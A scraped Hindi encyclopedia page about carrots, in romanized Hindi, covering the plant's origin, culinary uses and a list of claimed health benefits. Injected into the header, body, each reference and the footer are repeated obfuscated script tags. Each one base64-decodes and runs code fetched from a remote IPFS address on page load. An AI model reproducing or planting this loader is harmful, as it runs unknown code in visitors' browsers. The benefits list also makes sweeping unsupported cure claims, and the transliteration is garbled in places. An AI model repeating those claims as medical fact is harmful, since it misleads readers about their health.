गाजर

भारत डिस्कवरी प्रस्तुति
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|250px|gajar
Carrot gajar (aangrezi:Carrot) ek sabzi hai aur isaka vanaspatik nam dakas kairota (Daucus carota) hai. eshiya ke logoan ne sabase pahale gajar ki kheti prarambh ki aur vahian se yah vishv ke any deshoan mean pahuanchi. vidvanoan ka mat hai ki gajar ka mool utpatti sthal panjab v kashmir ki paha diyaan haian. jahaan ab bhi isaki jangali jatiyaan ugati huee payi jati hai isaka dvitiy utpatti kendr bhoomadhy sagariy kshetr ke as-pas ho sakata hai.[1]

gajar ko phal, sabji evan salad ke roop mean upayog kiya jata hai. isako santulit ahar bhi mana jata hai. ye do tarah ki hoti hai. kali gajar, doosari lal gajar donoan hi svasthy ke lie fayademand hoti hai. kali gajar ka upayog kam hota hai magar ye gajar hajame ke lie adhik fayademand hoti hai, par lal gajar amataur par adhik prayog mean layi jati hai. kachchi gajar ka sevan svasthy ke lie fayademand hota hai.[2]

upayog

gajar se sabji, achar, mithaiyaan, halava, gajar pak tatha any mahattvapoorn khady padarth taiyar kiye jate haian. sath hi yah doodh dene vale pashuoan tatha gho doan ka achchha ahar hai. gajar vitamin 'e' ka achchha srot mani jati hai.[3]

labh

gajar ko usake prakritik roop yani kachcha khana labhadayak hota hai.

  • gajar hriday ke lie labhakari, rakt ko shuddh karane vali, vatadoshanashak, pushtivarddhak tatha dimag aur nas-nadi़yoan ke lie balavarghak, bavasir, pet ke rogoan, soojan, pathari tatha durbalata ka nash karane vali hai.

thumb|250px|left|gajar ka halava

  • gajar ke bij garam hote haian. at: garbhavati mahilaoan ko unaka prayog nahian karana chahie.
  • kailshiyam aur kerotin ki prachur matra hone ke karan chhote bachchoan ke lie yah uttam ahar hai. gajar se aantoan ke hanikarak ki de nasht ho jate haian.
  • isamean vitamin e kafi matra mean paya jata hai. yah netr rogoan mean labhadayak hai.
  • gajar rakt ko shuddh karane vali hoti hai. 10-15 din gajar ka ras pine se raktavikar, gaanth, soojan aur tvacha ke rogoan mean labh milata hai isamean lauhatattv bhi atyadhik matra mean paya jata hai. gajar khoob chaba-chaba kar khane se daant bhi mazaboot, svachchh aur chamakile hote haian. masoo de mazaboot hote haian.
  • rojana gajar ka ras pine se dimagi kamazori door hoti hai.
  • gajar ko kaddookas karake namak milakar khane se khaj-khujali mean fayada hota hai.
  • gajar ke ras mean namak, dhaniya patti, jira, kali mirch, niboo ka ras dalakar pine se pachan sanbandhi g dab di door hoti hai.
  • hriday ki kamazori athava dh dakanean badh jane par gajar ko bhoonakar khane par labh hota hai.
  • garmi mean gajar ka murabba dimag ke lie fayademand hota hai.


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ gajar (hindi) uttara krishi prabha. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ gajar khao rogoan ko door bhagao (hindi) (ech.ti.em.el) hindi lok. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ↑ gajar (hindi) dijital mandi. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

dekhean • varta • badalean
shak-sabzi

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varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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